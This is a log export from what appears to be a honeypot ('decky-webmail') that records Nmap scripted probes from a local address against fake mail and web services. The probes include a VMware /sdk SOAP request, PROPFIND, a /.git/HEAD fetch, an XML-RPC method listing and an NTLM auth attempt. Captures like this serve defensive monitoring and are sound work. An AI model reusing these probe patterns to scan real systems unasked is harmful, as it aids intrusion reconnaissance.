# logs

timestamp: 2026-04-07 19:48:29
decky: decky-webmail
service: smtp
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:48:29.520153+00:00 decky-webmail smtp - startup - SMTP server starting as decky-webmail


timestamp: 2026-04-07 19:48:29
decky: decky-webmail
service: imap
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:48:29.525953+00:00 decky-webmail imap - startup - IMAP server starting as decky-webmail


timestamp: 2026-04-07 19:48:29
decky: decky-webmail
service: pop3
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:48:29.531525+00:00 decky-webmail pop3 - startup - POP3 server starting as decky-webmail


timestamp: 2026-04-07 19:48:29
decky: decky-webmail
service: http
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:48:29.562070+00:00 decky-webmail http - startup - HTTP server starting as decky-webmail


timestamp: 2026-04-07 19:53:05
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:05.202133+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="56394"]


timestamp: 2026-04-07 19:53:05
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:05.202095+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="44836"]


timestamp: 2026-04-07 19:53:05
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:05.202120+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="49892"]


timestamp: 2026-04-07 19:53:05
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:05.204537+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-07 19:53:11
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:11.208384+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="GET / HTTP/1.0"]


timestamp: 2026-04-07 19:53:11
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:11.208384+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd=""]


timestamp: 2026-04-07 19:53:11
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:11.208646+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd=""]


timestamp: 2026-04-07 19:53:11
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:53:11.208787+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-07 19:53:16
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:16.213731+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-07 19:53:16
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:16.213827+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-07 19:53:16
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:16.214094+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="51296"]


timestamp: 2026-04-07 19:53:16
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:16.214133+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="50426"]


timestamp: 2026-04-07 19:53:16
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:16.214228+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="OPTIONS / HTTP/1.0"]


timestamp: 2026-04-07 19:53:16
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:16.214301+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd=""]


timestamp: 2026-04-07 19:53:21
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:21.219340+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-07 19:53:21
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-07T19:53:21.219334+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-07 19:53:21
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:53:21.222956+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-07 19:53:21
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:53:21.223266+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/sdk" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'Content-Length': '441', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body="<soap:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContent xmlns=\"urn:internalvim25\"><_this xsi:type=\"ManagedObjectReference\" type=\"ServiceInstance\">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>"]


timestamp: 2026-04-07 19:53:21
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:53:21.223437+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/nmaplowercheck1775591601" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-07 19:53:21
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:53:21.224651+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/NmapUpperCheck1775591601" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-07 19:53:21
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:53:21.225177+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/Nmap/folder/check1775591601" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-07 19:53:21
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:53:21.225909+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-07 19:53:21
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T19:53:21.226287+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110'}" body=""]


timestamp: 2026-04-07 20:24:03
decky: decky-webmail
service: smtp
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T20:24:03.279897+00:00 decky-webmail smtp - startup - SMTP server starting as decky-webmail


timestamp: 2026-04-07 20:24:03
decky: decky-webmail
service: imap
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T20:24:03.279954+00:00 decky-webmail imap - startup - IMAP server starting as decky-webmail


timestamp: 2026-04-07 20:24:03
decky: decky-webmail
service: pop3
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T20:24:03.283256+00:00 decky-webmail pop3 - startup - POP3 server starting as decky-webmail


timestamp: 2026-04-07 20:24:03
decky: decky-webmail
service: http
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-07T20:24:03.297543+00:00 decky-webmail http - startup - HTTP server starting as decky-webmail


timestamp: 2026-04-08 02:34:14
decky: decky-webmail
service: http
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T02:34:14.252618+00:00 decky-webmail http - startup - HTTP server starting as decky-webmail


timestamp: 2026-04-08 02:34:14
decky: decky-webmail
service: smtp
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T02:34:14.394371+00:00 decky-webmail smtp - startup - SMTP server starting as decky-webmail


timestamp: 2026-04-08 02:34:14
decky: decky-webmail
service: imap
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T02:34:14.544200+00:00 decky-webmail imap - startup - IMAP server starting as decky-webmail


timestamp: 2026-04-08 02:34:14
decky: decky-webmail
service: pop3
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T02:34:14.613141+00:00 decky-webmail pop3 - startup - POP3 server starting as decky-webmail


timestamp: 2026-04-08 02:41:44
decky: decky-webmail
service: smtp
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T02:41:44.704390+00:00 decky-webmail smtp - startup - SMTP server starting as decky-webmail


timestamp: 2026-04-08 02:41:44
decky: decky-webmail
service: pop3
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T02:41:44.712319+00:00 decky-webmail pop3 - startup - POP3 server starting as decky-webmail


timestamp: 2026-04-08 02:41:44
decky: decky-webmail
service: imap
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T02:41:44.715798+00:00 decky-webmail imap - startup - IMAP server starting as decky-webmail


timestamp: 2026-04-08 02:41:44
decky: decky-webmail
service: http
event_type: startup
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T02:41:44.761105+00:00 decky-webmail http - startup - HTTP server starting as decky-webmail


timestamp: 2026-04-08 03:04:58
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:04:58.479955+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="59596"]


timestamp: 2026-04-08 03:04:58
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:04:58.479908+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="50740"]


timestamp: 2026-04-08 03:04:58
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:04:58.479944+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="60948"]


timestamp: 2026-04-08 03:04:58
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:04:58.482589+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:04
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:04.485896+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd=""]


timestamp: 2026-04-08 03:05:04
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:04.485896+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="GET / HTTP/1.0"]


timestamp: 2026-04-08 03:05:04
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:04.486195+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd=""]


timestamp: 2026-04-08 03:05:04
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:04.486265+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 03:05:09
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:09.490954+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:09
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:09.491082+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:09
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:09.491362+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="50502"]


timestamp: 2026-04-08 03:05:09
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:09.491458+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="36034"]


timestamp: 2026-04-08 03:05:09
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:09.491503+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="OPTIONS / HTTP/1.0"]


timestamp: 2026-04-08 03:05:09
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:09.491587+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd=""]


timestamp: 2026-04-08 03:05:14
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:14.497117+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:14
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:14.497128+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.778507+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="57398"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.778969+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="57412"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.780606+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="36044"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.786241+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="50504"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.786522+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="50510"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.787287+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="57414"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788057+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/sdk" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Content-Length': '441', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body="<soap:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContent xmlns=\"urn:internalvim25\"><_this xsi:type=\"ManagedObjectReference\" type=\"ServiceInstance\">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788277+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Depth': '0', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788579+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788832+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.789126+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Depth': '0', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.789433+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/.git/HEAD" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.791597+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="STLS"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.789747+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788454+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'HEAD'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.789250+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/nmaplowercheck1775617515" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788723+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'close', 'Content-Length': '88'}" body="<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.789635+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.788996+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/robots.txt" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: ehlo
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.795508+00:00 decky-webmail smtp - ehlo [decnet@55555 src="192.168.1.5" domain="nmap.scanme.org"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: ehlo
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.795759+00:00 decky-webmail smtp - ehlo [decnet@55555 src="192.168.1.5" domain="nmap.scanme.org"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: ehlo
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.795842+00:00 decky-webmail smtp - ehlo [decnet@55555 src="192.168.1.5" domain="nmap.scanme.org"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.796119+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.796206+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.796294+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="HELP"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.796361+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="AUTH NTLM"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.796438+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'GET'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.796615+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'Depth': '1', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Length': '0', 'Connection': 'close', 'Host': '192.168.1.110'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.796792+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/NmapUpperCheck1775617515" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.796942+00:00 decky-webmail http - request [decnet@55555 method="PLEU" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.798138+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.798209+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.798273+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.798346+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.800770+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="36046"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.800943+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="57418"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.800994+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'POST'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.798121+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA="]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.801454+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: smtp
event_type: ehlo
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.801656+00:00 decky-webmail smtp - ehlo [decnet@55555 src="192.168.1.5" domain="nmap.scanme.org"]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.801600+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/Nmap/folder/check1775617515" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
